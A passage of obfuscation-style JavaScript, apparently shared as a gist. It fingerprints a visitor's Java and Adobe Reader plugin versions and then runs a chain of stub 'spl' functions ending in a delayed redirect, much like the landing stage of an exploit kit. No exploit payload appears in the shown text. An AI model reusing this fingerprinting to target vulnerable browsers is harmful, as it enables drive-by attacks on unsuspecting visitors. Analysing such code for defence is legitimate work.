| d.parentNode.removeChild(d) | |
| } | |
| } catch (g) {} | |
| } | |
| }, | |
| insertHTMLQueryAll: function (e) { | |
| var g = this, | |
| n = g.parentNode, | |
| d = n.$, | |
| o = g.results, | |
| q = g.HTML, | |
| h = " ", | |
| u = "A.class"; | |
| if (!d.isString(e) || !(/\.jar\s*$/).test(e) || (/\\/).test(e)) { | |
| return [null, null] | |
| } | |
| if (n.OTF < 1) { | |
| n.OTF = 1 | |
| } | |
| if (n.jreDisabled()) { | |
| return [null, null] | |
| } | |
| if (n.OTF < 2) { | |
| n.OTF = 2 | |
| } | |
| var c = e, | |
| t = "", | |
| m; | |
| if ((/[\/]/).test(e)) { | |
| m = e.split("/"); | |
| c = m[m.length - 1]; | |
| m[m.length - 1] = ""; | |
| t = m.join("/") | |
| } | |
| var j = ["archive", c, "code", u], | |
| l = ["mayscript", "true"], | |
| r = ["scriptable", "true"].concat(l), | |
| f = !d.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : n.mimeType[0]; | |
| if (!q[0] && g.canUseObjectTag() && g.canTry(0)) { | |
| q[0] = d.isIE ? d.insertHTML("object", ["type", f].concat(j), ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML("object", ["type", f, "archive", c, "classid", "java:" + u], ["codebase", t, "archive", c].concat(r), h, n); | |
| o[0] = [0, 0]; | |
| g.queryThis(0) | |
| } | |
| if (!q[1] && g.canUseAppletTag() && g.canTry(1)) { | |
| q[1] = d.isIE ? d.insertHTML("applet", ["alt", h].concat(l).concat(j), ["codebase", t].concat(l), h, n) : d.insertHTML("applet", ["codebase", t, "alt", h].concat(l).concat(j), [].concat(l), h, n); | |
| o[1] = [0, 0]; | |
| g.queryThis(1) | |
| } | |
| if (!q[2] && g.canUseObjectTag() && g.canTry(2)) { | |
| q[2] = d.isIE ? d.insertHTML("object", ["classid", n.classID], ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML(); | |
| o[2] = [0, 0]; | |
| g.queryThis(2) | |
| } | |
| if (!g.DummyObjTagHTML && g.canUseObjectTag()) { | |
| g.DummyObjTagHTML = d.insertHTML("object", [], [], h) | |
| } | |
| if (!g.DummySpanTagHTML) { | |
| g.DummySpanTagHTML = d.insertHTML("", [], [], h) | |
| }; | |
| var k, a = 0; | |
| for (k = 0; k < o.length; k++) { | |
| if (q[k] || g.canTry(k)) { | |
| a++ | |
| } else { | |
| break | |
| } | |
| } | |
| if (a == o.length) { | |
| n.getVersionDone = n.forceVerifyTag.length > 0 ? 0 : 1 | |
| } | |
| return g.getResult() | |
| } | |
| }, | |
| append: function (e, d) { | |
| for (var c = 0; c < d.length; c++) { | |
| e.push(d[c]) | |
| } | |
| }, | |
| JavaFix: function () {} | |
| }, | |
| adobereader: { | |
| mimeType: "application/pdf", | |
| navPluginObj: null, | |
| progID: ["AcroPDF.PDF", "PDF.PdfCtrl"], | |
| classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000", | |
| INSTALLED: {}, | |
| pluginHasMimeType: function (d, c, f) { | |
| var b = this, | |
| e = b.$, | |
| a; | |
| for (a in d) { | |
| if (d[a] && d[a].type && d[a].type == c) { | |
| return 1 | |
| } | |
| } | |
| if (e.getMimeEnabledPlugin(c, f)) { | |
| return 1 | |
| } | |
| return 0 | |
| }, | |
| getVersion: function (i, j) { | |
| var f = this, | |
| c = f.$, | |
| h, d, k, m = p = null, | |
| g = null, | |
| l = null, | |
| a, b; | |
| j = (c.isString(j) && j.length) ? j.replace(/\s/, "").toLowerCase() : f.mimeType; | |
| if (c.isDefined(f.INSTALLED[j])) { | |
| f.installed = f.INSTALLED[j]; | |
| return | |
| } | |
| if (!c.isIE) { | |
| a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in"; | |
| if (f.getVersionDone !== 0) { | |
| f.getVersionDone = 0; | |
| p = c.getMimeEnabledPlugin(f.mimeType, a); | |
| if (!p && c.hasMimeType(f.mimeType)) { | |
| p = c.findNavPlugin(a, 0) | |
| } | |
| if (p) { | |
| f.navPluginObj = p; | |
| g = c.getNum(p.description) || c.getNum(p.name); | |
| g = c.getPluginFileVersion(p, g); | |
| if (!g && c.OS == 1) { | |
| if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a)) { | |
| g = "9" | |
| } else { | |
| if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a)) { | |
| g = "8" | |
| } | |
| } | |
| } | |
| } | |
| } else { | |
| g = f.version | |
| } | |
| m = c.getMimeEnabledPlugin(j, a); | |
| f.installed = m && g ? 1 : (m ? 0 : (f.navPluginObj ? -0.2 : -1)) | |
| } else { | |
| p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]); | |
| b = /=\s*([\d\.]+)/g; | |
| try { | |
| d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions(); | |
| for (k = 0; k < 5; k++) { | |
| if (b.test(d) && (!g || RegExp.$1 > g)) { | |
| g = RegExp.$1 | |
| } | |
| } | |
| } catch (h) {} | |
| f.installed = g ? 1 : (p ? 0 : -1) | |
| } | |
| if (!f.version) { | |
| f.version = c.formatNum(g) | |
| } | |
| f.INSTALLED[j] = f.installed | |
| } | |
| }, | |
| zz: 0 | |
| }; | |
| PluginDetect.initScript(); | |
| PluginDetect.getVersion("."); | |
| jver = PluginDetect.getVersion("Java", javafile); | |
| pdfver = PluginDetect.getVersion("AdobeReader"); | |
| } catch (e) {} | |
| if (typeof jver == 'string') { | |
| jver = jver.split('.') | |
| } else { | |
| jver = [0, 0, 0, 0] | |
| } | |
| if (typeof pdfver == 'string') { | |
| pdfver = pdfver.split('.') | |
| } else { | |
| pdfver = [0, 0, 0, 0] | |
| } | |
| function spl0() { | |
| spl1() | |
| } | |
| function spl1() { | |
| spl2() | |
| } | |
| function spl2() { | |
| spl3() | |
| } | |
| function spl3() { | |
| spl4() | |
| } | |
| function spl4() { | |
| spl5() | |
| } | |
| function spl5() { | |
| spl6() | |
| } | |
| function spl6() { | |
| setTimeout(end_redirect, 6000) | |
| } | |
| spl0() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment